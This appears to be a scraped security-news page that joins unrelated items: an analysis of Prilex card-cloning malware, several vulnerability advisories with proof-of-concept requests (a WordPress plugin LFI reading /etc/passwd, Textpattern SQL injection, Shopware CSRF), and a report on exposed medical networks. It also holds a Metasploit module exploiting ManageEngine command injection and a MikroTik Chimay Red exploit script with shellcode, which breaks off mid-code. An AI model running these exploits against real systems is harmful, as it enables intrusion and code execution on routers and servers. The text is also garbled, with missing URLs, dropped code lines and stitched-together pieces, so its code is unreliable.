Goodfellas, the Brazilian carding scene is after you

There are three ways of doing things in the malware business: the right way, the wrong way and the way Brazilians do it. From the early beginnings, using skimmers on ATMs, compromising point of sales systems, or even modifying the hardware of processing devices, Latin America has been a fertile ground for collecting credit and debit cards en masse.

Brazil started the migration to EMV cards in 1999 and nowadays almost all cards issued in the country are chip-enabled. A small Java-based application lives inside this chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most (if not all) point of sale systems. Having this knowledge has enabled the criminals to update their activities, allowing them to create their own cards featuring this new technology and keeping them “in the business.”

Enter the world of Brazilian malware development, incorporating every trick in the book and adding a custom made malware that can easily collect data from chip and PIN protected cards; all while offering a nicely designed interface for administering the ill-gotten information, validating numbers, and offering their “customers” an easy to use package to burn their cloned card.

“Seu cartão vou clonar”: not only a crime but a lifestyle

According to the 2016 Global Consumer Card Fraud: Where Card Fraud Is Coming From, “At this point in time, the assumption should be that almost all users’ credentials and/or card information has been compromised. The underground economy for user information has matured so much that it is indistinguishable from a legitimate economy.”

In addition, when we are faced with the current credit card fraud statistics, we found that in 2016, Mexico was in the lead with 56% of residents reporting experiencing card fraud in the past five years. Brazil comes in second at 49%, and the U.S. in third with 47%. It’s worth noting that approximately 65% of the time, credit card fraud results in a direct or indirect financial loss for the victim, with an average reported loss of $1,343 USD.

While traditional criminal activities in Brazil regarding computer crime have included banking trojans, boletos, and all sorts of different malware, cloning credit and debit cards for a living is more than a day job for some. With MCs rapping about the hardships of obtaining new plastic, and how easy the money starts flowing once they get in the game, there’s no shortage of options being offered for infecting ATMs, point of sales systems, or directly stealing credit card numbers from the users.

One of the many Youtube channels sharing tutorials and real life stories on being a Brazilian carder.

There are tutorials, forums, instant message groups, anything and everything as accessible as ever; making this industry a growing threat for all Brazilians. When it comes to Prilex, we are dealing with a complete malware suite that gives the criminal full support in their operations, all with a nicely done graphical user interface and templates for creating different credit card structures, being a criminal-to-criminal business. While cloning chip and PIN protected cards has already been discussed in the past, we found Prilex and its business model something worth sharing with the community; as these attacks are becoming easier to perform and the EMV standard hasn’t been able to keep up with the bad guys.

Anything they wanted was an ATM infection away

The first notable appearance of the Prilex group was related to an ATM attack targeting banks located primarily in the Brazilian territory. Back then, criminals used a black box device configured with a 4G USB modem in order to remotely control the machine. By opening a backdoor to the attacker, they could hijack the institution’s wireless connection and target other ATMs at their will.

At the time, the malware that was used to dispense money at will, was developed using Visual Basic version 6.0; a reasonably old programming language that is still heavily used by Brazilian criminals. The sample was using a network protocol tailored specifically to communicate to its C2 allowing the attacker to remotely dig deeper in the ATM system and collect all the necessary information in order to perform further attacks.

After obtaining initial access to the network, the attacker would run a network recognition process to find the IP address of each of the ATMs. With that information at hand, a lateral movement phase would begin, using default Windows credentials and then installing a custom crafted malware on the most promising systems. The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and sending remote commands to dispense the money.

ATM version of Prilex patching legitimate software for jackpotting purposes.

The malware was developed to target not only the ATMs with the jackpotting functionality but also the bank’s customers due to a function which enables the malware to steal the magnetic stripe information once the client use the infected ATM: cloning and jackpotting on the same package.

Targeting point of sales systems and expanding functionality

While hunting new samples related to the ATM attack, we found a new sample matching the previously dissected communication protocol. In fact, the protocol (and code) used by this new sample had been updated a bit in order to support extended functionality.

Code similarity of the ATM and Point of Sale samples from the Prilex family.

The main module contains different functions that allow the attacker to perform a set of debugging operations on the victim’s machine as well as performing the attack itself.

  • Remote administration using “Ammyy Admin”.
  • Upload/download files from/to infected computer.
  • Capture memory regions from a process.
  • Execute shell commands.
  • Update main module.
  • Patch libraries in order to allow capturing card information.

Functions handled by the malware.

The main purpose of the malware is to patch the point of sales system libraries, allowing it to collect the data transmitted by the software. The code will look for the location of a particular set of libraries in order to apply the patch thus overwriting the original code.

Log strings referring the patch applied by the malware.

With the patch in place, the malware collects the data from TRACK2, such as the account number, expiration date, in addition to other cardholder information needed to perform fraudulent transactions. The PIN is never captured by the malware, since is not needed as we will see later.

Using DAPHNE and GPShell to manage your Smart Card

After the information is exfiltrated to the C2 server, it’s read to be sold in the blackmarket as a package. The criminals provide access to a tool called Daphne ,which is responsible for managing the credit card information acquired and ultimately writing it to the cloned cards.

The Daphne “client” has the option to choose which type of card it wants to write, debit or credit; then the information will be validated on the server only to be written to the card once all necessary tests are passed. The new card, which is connected to the smart card writer, will receive the new information via GPShell scripts in charge of setting up the card’s structure and creating the “golden card”.

Function to write the card data as credit or debit, or just copy the information to the clipboard.

After using the card, the criminal is able to keep track of how much money is possible to withdraw. While we are not sure how this information is being used, Prilex’s business model encourages users to register which cards are valid and the amount that they have paid off. This could enable reselling the cards in other venues and charging differential prices depending on their status.

After a card stops working (marked as “dead”), the criminal will fill the information about how much money was stolen from that card, if any.

Since Daphne is designed as a client/server application, several individuals can query the same information at once, and all modifications on the cards are synchronized with a central database. This behavior enables crews to work on the same set of information, allowing the connected user to create a new card directly from the interface and allowing the tool to decide the best template to use and how to preset the card.

Do not panic, but your credit card might be running Java

The EMV standard and supporting technology is in fact a robust framework that can provide much more security than the traditional magnetic stripe. Unfortunately, due to a bad implementation of such technology, it’s possible for criminals to abuse it and clone an EMV supported card with information stolen from the victim.

However, this technique is not entirely new and also not specific to Brazil. We have seen the same TTPs in other malware families, being sold on underground forums and targeting banks in Europe and other countries in Latin America such as Mexico and Argentina

In addition, the tool has an option to communicate with Smart Card devices by using GPshell in order to create a fake card with the stolen information.

Commands sent to GPshell in order to check for a Smart Card.

The commands above are responsible for checking if the Smart Card can be accessed, and if so it will enable the option to write the information to the fake card. Some commands used here are not generic and not usually found on a normal transaction.

Since they cannot manipulate all the information of the ‘chip and PIN’ technical standard, they need to modify the application responsible for validating the transaction. In order to do that, they install a modified CAP file (JavaCard applet) to the Smart Card, then when the PoS tries to validate the PIN, it will always accept as well as bypass all other validation processes. Due to the fact that most of the payment operators do not perform all validations as required by the EMV standard, the criminals are able to exploit this vulnerability within the process in advantage of their operation.

Commands used to install the malicious CAP file to the Smart Card.

Furthermore, GPshell sends commands to replace the PSE (Payment System Environment) by deleting the original one and installing a malicious counterpart. After that, the Smart Card just needs the stolen information to be written and it will be ready to use on PoS devices.

Commands sent to the card to write all data.

In this step, the script executed by GPShell contains all the necessary information in order for the point of sales terminal to perform the payment operation. The given script contains data extracted from original cards that are necessary to perform the authorization with the card operator.

One of the most relevant data written by this script is the Application Interchange Profile, changed in order to enable Static Data Authentication (SDA) and Signed Static Application Data (SSAD). This section contains the data signed by the card issuer that should be validated to guarantee that the information from the card was not counterfeited. However, the issuer has to decide which data should be protected by the signed information and based on our research, we found that most of the cards only have the Application Interchange Profile data signed, making the SSAD data valid even with a modified TRACK2 and a different cardholder’s name.

Getting the hardware and the blank cards is not as difficult as it sounds

Buying the equipment is quite cheap and surprisingly easy. To perform the attack, criminals just need to have a Smart Card Reader/Writer and some empty smart cards. Everything can be easily found online and since those tools can also be used in a legitimate way, there is no problem buying it.

JCop cards costing around $15 USD.

A basic reader/writer can be bought for less than $15 USD.

As we can see, the necessary equipment can be acquired by less than $30 USD, making it really affordable and easy for everyone to buy (not that anyone should!).

Smart Cards, the EMV standard, and the Brazilian carding scene

Industry reports, such as The Nilson Report, states that credit card fraud in 2016 has represented losses of $22.80 billion USD worldwide. And by 2020, card fraud worldwide is expected to total $31.67 billion USD.

Since that day in 1994, where Europay, MasterCard, and Visa developed this technology with the goal of ending fraud once and for all, several speed bumps have been found along the way, making theft and counterfeiting of payment card data more difficult for criminals in each iteration. It’s interesting to see how the liability of a fraud incident has been theoretically moved over the years from the customer, to the merchants, then to the bank; when in reality is the customer the one that always deals with the worst part of the story.

To be continued…

The crew behind the development of Prilex has demonstrated to be a highly versatile group, active since at least 2014 and still operating, targeting primarily Brazilian users and institutions. The motivation behind each of their campaigns has been repeatedly proven as solely monetary, given their preference for targets in the financial or retail industry.

Luckily, the banks and operators in Brazil have been investing a lot in technologies to improve their systems and avoid fraudulent transactions, allowing them to identify those techniques and preparing them for what’s to come. However, some countries in Latin America are not as evolved when it comes to credit card technologies and still rely on plain old magnetic stripe cards. Other countries are just starting to actively implement chip-and-pin authentication measures and have become a desirable target for criminals due to the overall lack of expertise regarding this technology.

The evolution of their code, while not technically notable, has been apparently sufficient in maintaining a constant revenue stream by slowly perfecting their business model and customer applications. The discovery of “Daphne”, a module to make use of the ill-gotten financial information and their affiliate scheme, suggests that this is a “customer oriented” group, with many levels in their chain of development; resembling what we have seen for example in the popular ATM malware Ploutus and other jackpotting operations.

This modularization, in their source code as well as their business model, constitutes Prilex as a serious threat to the financial industry, currently confined to the territory of Brazil with the uncertainty of how long it will take before it expands its operations to other regions.


7ab092ea240430f45264b5dcbd350156 Trojan.Win32.Prilex.b
34fb450417471eba939057e903b25523 Trojan.Win32.Prilex.c
26dcd3aa4918d4b7438e8c0ebd9e1cfd Trojan.Win32.Prilex.h
f5ff2992bdb1979642599ee54cfbc3d3 Trojan.Win32.Prilex.f
7ae9043778fee965af4f8b66721bdfab Trojan.Win32.Prilex.m

Our complete IOCs list, as well as YARA rules and full reports are available for Financial Intelligence Reports service customers. If you need more information about the service, please contact us at: [email protected]

WOOF WooCommerce Products Filter 1.1.9 LFI / Code Execution

SEC Consult Vulnerability Lab Security Advisory < 20180314-0 >
title: Arbitrary Shortcode Execution & Local File Inclusion
product: WOOF – WooCommerce Products Filter (PluginUs.Net)
vulnerable version: 1.1.9
fixed version: 2.2.0
CVE number: (requested but not yet received)
impact: Critical
found: 2018-02-20
by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America


Vendor description:
“PluginUs.Net is a little team of talented professionals from Ukraine. Unlike
most of the big companies on the net, we believe in individual approach to
every our customer. Web development is our passion and we always try to go an
extra mile over our clients’ expectations.

Our team specializes in development of WordPress plugins. It’s always exciting
to try new technologies and approaches to get the project done and impress
clients by realization of their ideas!”


Business recommendation:
SEC Consult recommends to ugprade to the latest version available
as soon as possible. Further detailed security tests should be performed
in order to identify potential other security issues.

Vulnerability overview/description:
1. Arbitrary Shortcode Execution
The plugin implemented a page redraw AJAX function accessible to anyone
without any authentication.

WordPress shortcode markup in the “shortcode” parameters would be evaluated.
Normally unauthenticated users can’t evaluate shortcodes as they are often

Additionally, it is noted that there are other implemented shortcodes that are
being used in this plugin which can be abused through the same attack. Worst,
some of them could lead to remote code execution.

2. Local File Inclusion
The vulnerability is due to the lack of args/input validation on render_html
before allowing it to be called by extract(), a PHP built-in function. Because
of this, the supplied args/input can be used to overwrite the $pagepath
variable which then could lead to local file inclusion attack.

Proof of concept:
1. Arbitrary Shortcode Execution
The parameter “shortcode” within the “admin-ajax.php” script is affected by
the code execution vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=woof_redraw_woof&shortcode=<<shortcode without []>>

2. Local File Inclusion
The parameter “shortcode” within the “admin-ajax.php” script is affected by
the local file inclusion vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1

action=woof_redraw_woof&shortcode=woof_search_options pagepath=/etc/passwd

Vulnerable / tested versions:
PluginUs.Net WooCommerce Products Filter version 1.1.9 has been tested and
found to be vulnerable.

Vendor contact timeline:
2018-02-20: Contacting vendor through [email protected]
2018-02-20: Vendor agreed to proceed without encrypted channel
2018-02-21: Sent security advisory to vendor
2018-02-26: Vendor sent patch containing the fixes
2018-02-26: Informed vendor the patch doesn’t fully mitigate the vulnerability
2018-03-12: Request update from vendor
2018-03-12: Vendor said they already published the patch
2018-03-14: Public release of security advisory

The vendor provides an updated version and users are urged to upgrade to version
2.2.0 immediately:


Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices

Mail: research at sec-consult dot com

EOF Ahmad Ramadhan / @2018

ManageEngine Applications Manage 13.5 Remote Code Execution

# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
‘Name’ => “ManageEngine Applications Manager Remote Code Execution”,
‘Description’ => %q{
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
An unauthenticated user can execute a operating system command under the context of privileged user.

Publicly accessible endpoint takes multiple user inputs and validates supplied credentials
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
without validating user supplied parameter when the given system is OfficeSharePointServer.
‘License’ => MSF_LICENSE,
‘Author’ =>
‘Mehmet Ince <[email protected]>’ # author & msf module
‘References’ =>
[‘CVE’, ‘2018-7890’],
[‘URL’, ‘’]
‘DefaultOptions’ =>
‘WfsDelay’ => 10,
‘RPORT’ => 9090
‘Payload’ =>
‘BadChars’ => “\x22”
‘Platform’ => [‘win’],
‘Arch’ => [ ARCH_X86, ARCH_X64 ],
‘Targets’ => [ [‘Automatic’, {}] ],
‘Privileged’ => true,
‘DisclosureDate’ => ‘Mar 7 2018’,
‘DefaultTarget’ => 0

[‘TARGETURI’, [true, ‘The URI of the application’, ‘/’])

def check
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘’),
‘vars_post’ => {
‘method’ => ‘testCredentialForConfMonitors’,
‘type’ => ‘OfficeSharePointServer’,
‘montype’ => ‘OfficeSharePointServer’,
‘isAgentEnabled’ => ‘NO’,
‘isAgentAssociated’ => ‘false’,
‘displayname’ => Rex::Text.rand_text_alpha(10),
‘HostName’ => ‘’, # Try to access random IP address or domain may trigger SIEMs or DLP systems…
‘Version’ => ‘2013’,
‘Powershell’ => ‘True’, # 🙂
‘CredSSP’ => ‘False’,
‘SPType’ => ‘SPServer’,
‘CredentialDetails’ => ‘nocm’,
‘Password’ => Rex::Text.rand_text_alpha(3),
‘UserName’ => Rex::Text.rand_text_alpha(3)
if res && res.body.include?(‘Kindly check the credentials and try again’)

def exploit

powershell_options = {
encode_final_payload: true,
remove_comspec: true
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

print_status(‘Triggering the vulnerability’)

‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘’),
‘vars_post’ => {
‘method’ => ‘testCredentialForConfMonitors’,
‘type’ => ‘OfficeSharePointServer’,
‘montype’ => ‘OfficeSharePointServer’,
‘isAgentEnabled’ => ‘NO’,
‘isAgentAssociated’ => ‘false’,
‘displayname’ => Rex::Text.rand_text_alpha(10),
‘HostName’ => ‘’, # Try to access random IP address or domain may trigger SIEMs or DLP systems…
‘Version’ => ‘2013’,
‘Powershell’ => ‘True’, # 🙂
‘CredSSP’ => ‘False’,
‘SPType’ => ‘SPServer’,
‘CredentialDetails’ => ‘nocm’,
‘Password’ => Rex::Text.rand_text_alpha(3),
‘UserName’ => “$(#{p})”


Textpattern 4.6.2 SQL Injection

MGC ALERT 2018-002
– Original release date: February 12, 2018
– Last revised: March 12, 2018
– Discovered by: Manuel GarcAa CA!rdenas
– Severity: 7,1/10 (CVSS Base Score)
– CVE-ID: CVE-2018-7474

SQL Injection in Textpattern <= 4.6.2

Textpattern is a free and open-source content management system (CMS) based
on PHP and MySQL, originally developed by Dean Allen and now developed by
Team Textpattern.

This bug was found using the portal with authentication as administrator.

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable “qty” on the page

The following URL’s and parameters have been confirmed to all suffer from
SQL injection.


Note: the variable “_txp_token” doest not work as a anti-csrf.



Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

Textpattern <= 4.6.2

Disable website until a fix is available.


This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

February 12, 2018 1: Initial release
March 12, 2018 2: Revision to send to lists

February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
February 12, 2018 2: Send to vendor without response
February 26, 2018 3: Second email to vendor without response
March 12, 2018 4: Send to the Full-Disclosure lists

The information contained within this advisory is supplied “as-is” with no
warranties or guarantees of fitness of use or otherwise.

Manuel Garcia Cardenas

Shopware 5.3.7 Cross Site Request Forgery

Advisory: Shopware Cart Accessible by Third-Party Websites

RedTeam Pentesting discovered that the shopping cart implemented by Shopware
offers an insecure API. Malicious, third-party websites may abuse this API to
list, add or remove products from a user’s cart.


Product: Shopware
Affected Versions: 4.0.1 – 5.3.7
Fixed Versions: > 5.4.0
Vulnerability Type: Cross-Site Request Forgery
Security Risk: low
Vendor URL:
Vendor Status: fixed version released
Advisory URL:
Advisory Status: published


“Shopware 5 is the next generation of open source e-commerce software made in
Germany. Based on bleeding edge technologies like Symfony 2, Doctrine 2 & Zend
Framework Shopware comes as the perfect platform for your next e-commerce
project. Furthermore Shopware 5 provides an event-driven plugin system and an
advanced hook system, giving you the ability to customize every part of the
(from the Shopware GitHub repository [1])

More Details

The Shopware web application provides users with a virtual shopping cart to
collect products prior to checkout. This cart is displayed to the user as a
modal sidebar appearing at the right edge of the browser window. Consequently,
Shopware implements several API endpoints to allow JavaScript code to perform
shopping cart operations. These endpoints are implemented in the
“Shopware_Controllers_Frontend_Checkout” class and can be reached through the
following paths:

* /checkout/ajaxCart
* /checkout/ajaxAddArticleCart
* /checkout/ajaxDeleteArticleCart

RedTeam Pentesting discovered that API endpoints support JSONP by specifying a
URL parameter named callback. The origin of calls to the cart API is not
validated. Therefore, any third-party website may make use of this API. If a
customer of a Shopware shop visits a malicious, attacker-controlled website,
JavaScript code on this site may access the user’s shopping cart.

Proof of Concept

The following JavaScript snippets demonstrate how to access the cart of a
Shopware shop at “” from a third-party website. The
“getJSON” function of jQuery 3 is used to interface with the JSONP API.

By running the following code, the contents of a cart may be retrieved. The
result of the API call is displayed on the browser’s developer console.


The following code adds a new product to the cart. In this case, two instances
of product 1234 are added.


To remove a product from a user’s shopping cart, attackers may use the
following code. An id for the “sDelete” parameter may be obtained through a
prior call to ajaxCart.



Support for JSONP should be removed from the cart AJAX API. This ensures, that
only JavaScript code from the same origin may access the API and respectively
the cart’s contents. Furthermore, operations which change the state of the cart,
i.e. adding and removing products, must be protected with CSRF tokens.


Upgrade to Shopware newer than 5.4.0.

Security Risk

This vulnerability is rated as a low risk. Disclosure of a user’s shopping cart
to attackers may negatively impact the user’s privacy. Furthermore, competing
eCommerce sites may use this information to improve sales. By adding or
removing products from a user’s cart, attackers can negatively impact a user’s
shopping experience and create support effort for the shop operator.


2017-08-28 Vulnerability identified
2017-09-13 Customer approved disclosure to vendor
2017-09-14 Vendor notified
2018-02-27 Vendor released fixed version
2018-03-13 Advisory released



RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:

RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen
Germany Registergericht: Aachen HRB 14004
Geschaftsfuhrer: Patrick Hof, Jens Liebchen

Time of death? A therapeutic postmortem of connected medicine

At last year’s Security Analyst Summit 2017 we predicted that medical networks would be a titbit for cybercriminals. Unfortunately, we were right. The numbers of medical data breaches and leaks are increasing. According to public data, this year is no exception.

For a year we have been observing how cybercriminals encrypt medical data and demand a ransom for it. How they penetrate medical networks and exfiltrate medical information, and how they find medical data on publicly available medical resources.

The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.


Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.

How to live with it

  • Remove all nodes that process medical data from public
  • Periodically update your installed software and remove unwanted applications
  • Refrain from connecting expensive equipment to the main LAN of your organization

More tips at “Connected Medicine and Its Diagnosis“.

MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution

#!/usr/bin/env python3

# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95

# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]

# Used tools: pwndbg, rasm2, mipsrop for IDA
# I used ropper only to automatically find gadgets

# ASLR enabled on libs only
# DEP NOT enabled

import socket, time, sys, struct, re
from ropper import RopperService

AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of “safe” space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!

ALIGN_SIZE = 0x10 # alloca align memory with “content-length + 0x10 & 0xF” so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain

class MyRopper():
def __init__(self, filename): = RopperService() = 10 # sometimes Ropper doesn’t update new gadgets

def get_gadgets(self, regex):
gadgets = []
for _, g in

if len(gadgets) > 0:
return gadgets
raise Exception(“Cannot find gadgets!”)

def contains_string(self, string):
s =
t = [a for a in s.values()][0]
return len(t) > 0

def get_arch(self):

def get_ra_offset(gadget):
Return the offset of next Retun Address on the stack
So you know how many bytes to put before next gadget address
lw $ra, 0xAB ($sp) –> return: 0xAB
for line in gadget.lines:
offset_len = re.findall(“lw \$ra, (0x[0-9a-f]+)\(\$sp\)”, line[1])
if offset_len:
return int(offset_len[0], 16)
raise Exception(“Cannot find $ra offset in this gadget!”)

def makeHeader(num):
return b”POST /jsproxy HTTP/1.1\r\nContent-Length: ” + bytes(str(num), ‘ascii’) + b”\r\n\r\n”

def makeSocket(ip, port):
s = socket.socket()
s.connect((ip, port))
print(“Error connecting to socket”)
return s

def socketSend(s, data):
print(“Error sending data”)

def build_shellcode(shellCmd):
shell_code = b”
shellCmd = bytes(shellCmd, “ascii”)

# Here the shellcode will write the arguments for execve: [“/bin/bash”, “-c”, “shellCmd”, NULL] and [NULL]
# XX XX XX XX <– here the shell code will write the address of string “/bin/bash” [shellcode_start_address -16] <— argv_array
# XX XX XX XX <– here the shell code will write the address of string “-c” [shellcode_start_address -12]
# XX XX XX XX <– here the shell code will write the address of string “shellCmd” [shellcode_start_address -8]
# XX XX XX XX <– here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <— envp_array

# The shell code execution starts here!
shell_code += struct.pack(‘>L’, 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<– pointing to this location exactly])
shell_code += struct.pack(‘>L’, 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0
shell_code += struct.pack(‘>L’, 0x0000000c) # syscall # launch syscall Start fork()
shell_code += struct.pack(‘>L’, 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0

# if v0 != 0 [res of fork()]
shell_code += struct.pack(‘>L’, 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0
shell_code += struct.pack(‘>L’, 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0
shell_code += struct.pack(‘>L’, 0x0000000c) # syscall # launch syscall Start exit(1)

# if v0 == 0 [res of fork()]
shell_code += struct.pack(‘>L’, 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string “/bin/bash” and put it in a0 (the first parameter of execve)
shell_code += struct.pack(‘>L’, 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the “argv” array the address of the string “/bin/bash”
shell_code += struct.pack(‘>L’, 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string “-c” and put it in s1
shell_code += struct.pack(‘>L’, 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the “argv” array the address of the string “-c”
shell_code += struct.pack(‘>L’, 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string “shellCmd” and put it in s1
shell_code += struct.pack(‘>L’, 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the “argv” array the address of the string “shellCmd”
shell_code += struct.pack(‘>L’, 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array
shell_code += struct.pack(‘>L’, 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address – 16 Put the address of argv_array in a1 (the second parameter of execve)
shell_code += struct.pack(‘>L’, 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address – 4 Put the address of envp_array in a2 (the third parameter of execve)
shell_code += struct.pack(‘>L’, 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (
shell_code += struct.pack(‘>L’, 0x0000000c) # syscall # launch syscall Start execve(“/bin/bash”, [“/bin/bash”, “-c”, “shellCmd”, NULL], [NULL])

shell_code += b’P’ * (0x50 – len(shell_code)) # offset to simplify string address calculation
shell_code += b’/bin/bash\x00′ # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <— bin_bash_address

shell_code += b’P’ * (0x60 – len(shell_code)) # offset to simplify string address calculation
